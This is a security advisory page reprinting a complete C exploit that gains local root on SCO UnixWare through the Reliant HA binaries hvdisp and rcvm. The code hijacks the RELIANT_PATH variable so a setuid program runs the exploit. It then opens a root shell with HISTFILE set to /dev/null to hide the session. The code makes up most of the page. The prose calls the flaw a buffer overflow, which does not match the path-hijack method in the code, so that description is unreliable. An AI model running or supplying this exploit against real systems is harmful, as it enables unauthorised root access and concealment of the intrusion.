SecuriTeam - SCO UnixWare Reliant HA Local Root (Exploit)

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A vulnerability in SCO UnixWare's Reliant HA program allows local attackers to overflow an internal buffer in the program causing it to execute arbitrary code.

Credit:
The information has been provided by qaaz.
The original article can be found at: http://www.milw0rm.com/exploits/5356

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Exploit:
/* 04/2008: public release
* I have'nt seen any advisory on this; possibly still not fixed.
*
* SCO UnixWare Reliant HA Local Root Exploit
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#define TGT1 "/usr/opt/reliant/bin/hvdisp"
#define TGT2 "/usr/opt/reliant/bin/rcvm"
#define DIR "bin"
#define BIN DIR "/hvenv"

int main(int argc, char *argv[])
{
char self[4096], *target;
pid_t child;

if (geteuid() == 0) {
  setuid(geteuid());
  dup2(3, 0);
  dup2(4, 1);
  dup2(5, 2);
  if ((child = fork()) == 0) {
   putenv("HISTFILE=/dev/null");
   execl("/bin/sh", "sh", "-i", NULL);
   printf("[-] sh: %s\n", strerror(errno));
  } else if (child != -1)
   waitpid(child, NULL, 0);
  kill(getppid(), 15);
  return 1;
}

printf("----------------------------------------\n");
printf(" UnixWare Reliant HA Local Root Exploit\n");
printf(" By qaaz\n");
printf("----------------------------------------\n");

if (access(TGT1, EX_OK) == 0)
  target = TGT1;
else if (access(TGT2, EX_OK) == 0)
  target = TGT2;
else {
  printf("[-] No targets found\n");
  return 1;
}

sprintf(self, "/proc/%d/object/a.out", getpid());

if (mkdir(DIR, 0777) < 0 && errno != EEXIST) {
  printf("[-] %s: %s\n", DIR, strerror(errno));
  return 1;
}

if (symlink(self, BIN) < 0) {
  printf("[-] %s: %s\n", BIN, strerror(errno));
  rmdir(DIR);
  return 1;
}

if ((child = fork()) == 0) {
  char path[4096] = "RELIANT_PATH=";

  dup2(0, 3);
  dup2(1, 4);
  dup2(2, 5);
  putenv(strcat(path, getcwd(NULL, sizeof(path)-14)));
  execl(target, target, NULL);
  printf("[-] %s: %s\n", target, strerror(errno));
  return 1;
} else if (child != -1)
  waitpid(child, NULL, 0);

unlink(BIN);
rmdir(DIR);
return 0;
}

// milw0rm.com [2008-04-04]

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